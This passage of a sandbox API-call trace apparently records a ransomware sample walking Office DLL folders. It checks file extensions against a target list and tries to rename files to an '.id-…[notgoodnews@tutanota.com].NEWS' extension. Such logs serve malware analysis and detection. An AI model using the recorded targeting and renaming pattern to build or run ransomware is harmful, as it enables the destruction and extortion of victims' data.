(lpString=".doc") returned 4 [0214.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.321] lstrlenW (lpString=".docx") returned 5 [0214.321] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0214.321] lstrlenW (lpString=".pdf") returned 4 [0214.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.323] lstrlenW (lpString=".xls") returned 4 [0214.323] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.323] lstrlenW (lpString=".xlsx") returned 5 [0214.323] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0214.323] lstrlenW (lpString=".ppt") returned 4 [0214.323] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.324] lstrlenW (lpString=".zip") returned 4 [0214.324] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.324] lstrlenW (lpString=".rar") returned 4 [0214.324] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.324] lstrlenW (lpString=".bz2") returned 4 [0214.324] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.324] lstrlenW (lpString=".7z") returned 3 [0214.324] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.324] lstrlenW (lpString=".dbf") returned 4 [0214.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.325] lstrlenW (lpString=".1cd") returned 4 [0214.325] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll") returned 60 [0214.325] lstrlenW (lpString=".jpg") returned 4 [0214.325] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.326] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0214.326] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0214.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0214.331] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=198056) returned 1 [0214.333] CloseHandle (hObject=0x384) returned 1 [0214.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0214.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.334] lstrlenW (lpString=".doc") returned 4 [0214.334] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0214.335] lstrlenW (lpString=".docx") returned 5 [0214.335] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0214.335] lstrlenW (lpString=".pdf") returned 4 [0214.335] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0214.335] lstrlenW (lpString=".xls") returned 4 [0214.335] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0214.335] lstrlenW (lpString=".xlsx") returned 5 [0214.335] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0214.335] lstrlenW (lpString=".ppt") returned 4 [0214.335] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0214.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.336] lstrlenW (lpString=".zip") returned 4 [0214.336] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0214.336] lstrlenW (lpString=".rar") returned 4 [0214.336] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0214.336] lstrlenW (lpString=".bz2") returned 4 [0214.336] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0214.336] lstrlenW (lpString=".7z") returned 3 [0214.336] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0214.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.337] lstrlenW (lpString=".dbf") returned 4 [0214.337] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0214.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.337] lstrlenW (lpString=".1cd") returned 4 [0214.338] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0214.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.338] lstrlenW (lpString=".jpg") returned 4 [0214.338] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0214.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.339] lstrlenW (lpString=".doc") returned 4 [0214.339] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0214.339] lstrlenW (lpString=".docx") returned 5 [0214.339] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0214.339] lstrlenW (lpString=".pdf") returned 4 [0214.339] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0214.339] lstrlenW (lpString=".xls") returned 4 [0214.339] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0214.339] lstrlenW (lpString=".xlsx") returned 5 [0214.340] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0214.340] lstrlenW (lpString=".ppt") returned 4 [0214.340] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0214.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.341] lstrlenW (lpString=".zip") returned 4 [0214.341] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0214.341] lstrlenW (lpString=".rar") returned 4 [0214.341] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0214.341] lstrlenW (lpString=".bz2") returned 4 [0214.341] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0214.341] lstrlenW (lpString=".7z") returned 3 [0214.343] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0214.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.343] lstrlenW (lpString=".dbf") returned 4 [0214.343] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0214.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.344] lstrlenW (lpString=".1cd") returned 4 [0214.344] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0214.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL") returned 72 [0214.344] lstrlenW (lpString=".jpg") returned 4 [0214.344] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0214.345] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0214.345] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0214.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0214.346] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=52656) returned 1 [0214.346] CloseHandle (hObject=0x384) returned 1 [0214.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0214.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0214.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.347] lstrlenW (lpString=".doc") returned 4 [0214.347] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0214.347] lstrlenW (lpString=".docx") returned 5 [0214.347] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0214.348] lstrlenW (lpString=".pdf") returned 4 [0214.348] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0214.348] lstrlenW (lpString=".xls") returned 4 [0214.348] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0214.348] lstrlenW (lpString=".xlsx") returned 5 [0214.349] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0214.349] lstrlenW (lpString=".ppt") returned 4 [0214.349] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0214.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.349] lstrlenW (lpString=".zip") returned 4 [0214.349] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0214.349] lstrlenW (lpString=".rar") returned 4 [0214.349] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0214.350] lstrlenW (lpString=".bz2") returned 4 [0214.350] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0214.350] lstrlenW (lpString=".7z") returned 3 [0214.351] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0214.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.351] lstrlenW (lpString=".dbf") returned 4 [0214.352] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0214.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.355] lstrlenW (lpString=".1cd") returned 4 [0214.355] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0214.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.355] lstrlenW (lpString=".jpg") returned 4 [0214.355] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0214.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.355] lstrlenW (lpString=".doc") returned 4 [0214.356] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0214.356] lstrlenW (lpString=".docx") returned 5 [0214.356] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0214.356] lstrlenW (lpString=".pdf") returned 4 [0214.356] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0214.356] lstrlenW (lpString=".xls") returned 4 [0214.356] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0214.356] lstrlenW (lpString=".xlsx") returned 5 [0214.356] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0214.357] lstrlenW (lpString=".ppt") returned 4 [0214.357] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0214.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.357] lstrlenW (lpString=".zip") returned 4 [0214.357] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0214.357] lstrlenW (lpString=".rar") returned 4 [0214.357] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0214.357] lstrlenW (lpString=".bz2") returned 4 [0214.357] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0214.357] lstrlenW (lpString=".7z") returned 3 [0214.357] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0214.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.358] lstrlenW (lpString=".dbf") returned 4 [0214.358] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0214.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.358] lstrlenW (lpString=".1cd") returned 4 [0214.358] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0214.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0214.358] lstrlenW (lpString=".jpg") returned 4 [0214.358] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0214.360] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0214.360] lstrlenW (lpString="ACERECR.DLL") returned 11 [0214.360] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0214.920] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=20944) returned 1 [0214.923] CloseHandle (hObject=0x384) returned 1 [0214.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0214.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0215.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.836] lstrlenW (lpString=".doc") returned 4 [0215.836] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.836] lstrlenW (lpString=".docx") returned 5 [0215.836] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0215.836] lstrlenW (lpString=".pdf") returned 4 [0215.837] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.837] lstrlenW (lpString=".xls") returned 4 [0215.837] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.837] lstrlenW (lpString=".xlsx") returned 5 [0215.837] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0215.837] lstrlenW (lpString=".ppt") returned 4 [0215.837] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.837] lstrlenW (lpString=".zip") returned 4 [0215.837] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.838] lstrlenW (lpString=".rar") returned 4 [0215.838] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.838] lstrlenW (lpString=".bz2") returned 4 [0215.838] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.838] lstrlenW (lpString=".7z") returned 3 [0215.838] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.838] lstrlenW (lpString=".dbf") returned 4 [0215.838] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.838] lstrlenW (lpString=".1cd") returned 4 [0215.838] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.839] lstrlenW (lpString=".jpg") returned 4 [0215.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.839] lstrlenW (lpString=".doc") returned 4 [0215.839] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0215.839] lstrlenW (lpString=".docx") returned 5 [0215.839] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0215.840] lstrlenW (lpString=".pdf") returned 4 [0215.840] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0215.840] lstrlenW (lpString=".xls") returned 4 [0215.840] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0215.840] lstrlenW (lpString=".xlsx") returned 5 [0215.840] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0215.840] lstrlenW (lpString=".ppt") returned 4 [0215.840] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0215.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.841] lstrlenW (lpString=".zip") returned 4 [0215.841] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0215.841] lstrlenW (lpString=".rar") returned 4 [0215.841] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0215.841] lstrlenW (lpString=".bz2") returned 4 [0215.841] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0215.841] lstrlenW (lpString=".7z") returned 3 [0215.841] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0215.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.842] lstrlenW (lpString=".dbf") returned 4 [0215.842] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0215.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.842] lstrlenW (lpString=".1cd") returned 4 [0215.843] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0215.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0215.843] lstrlenW (lpString=".jpg") returned 4 [0215.843] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0215.843] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0215.844] lstrlenW (lpString="ACECORE.DLL") returned 11 [0215.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0217.910] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=3213192) returned 1 [0217.911] CloseHandle (hObject=0x35c) returned 1 [0217.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0217.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0218.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.416] lstrlenW (lpString=".doc") returned 4 [0218.416] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.416] lstrlenW (lpString=".docx") returned 5 [0218.417] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0218.417] lstrlenW (lpString=".pdf") returned 4 [0218.417] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.417] lstrlenW (lpString=".xls") returned 4 [0218.417] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.417] lstrlenW (lpString=".xlsx") returned 5 [0218.417] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0218.417] lstrlenW (lpString=".ppt") returned 4 [0218.417] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.417] lstrlenW (lpString=".zip") returned 4 [0218.418] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.418] lstrlenW (lpString=".rar") returned 4 [0218.418] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.418] lstrlenW (lpString=".bz2") returned 4 [0218.418] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.418] lstrlenW (lpString=".7z") returned 3 [0218.418] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.418] lstrlenW (lpString=".dbf") returned 4 [0218.418] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.419] lstrlenW (lpString=".1cd") returned 4 [0218.419] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.419] lstrlenW (lpString=".jpg") returned 4 [0218.419] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.420] lstrlenW (lpString=".doc") returned 4 [0218.420] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.420] lstrlenW (lpString=".docx") returned 5 [0218.420] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0218.420] lstrlenW (lpString=".pdf") returned 4 [0218.420] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.420] lstrlenW (lpString=".xls") returned 4 [0218.420] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.420] lstrlenW (lpString=".xlsx") returned 5 [0218.421] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0218.421] lstrlenW (lpString=".ppt") returned 4 [0218.421] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.421] lstrlenW (lpString=".zip") returned 4 [0218.421] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.421] lstrlenW (lpString=".rar") returned 4 [0218.421] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.421] lstrlenW (lpString=".bz2") returned 4 [0218.421] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.421] lstrlenW (lpString=".7z") returned 3 [0218.421] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.422] lstrlenW (lpString=".dbf") returned 4 [0218.422] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.423] lstrlenW (lpString=".1cd") returned 4 [0218.423] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0218.423] lstrlenW (lpString=".jpg") returned 4 [0218.423] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.424] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0218.425] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0218.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft 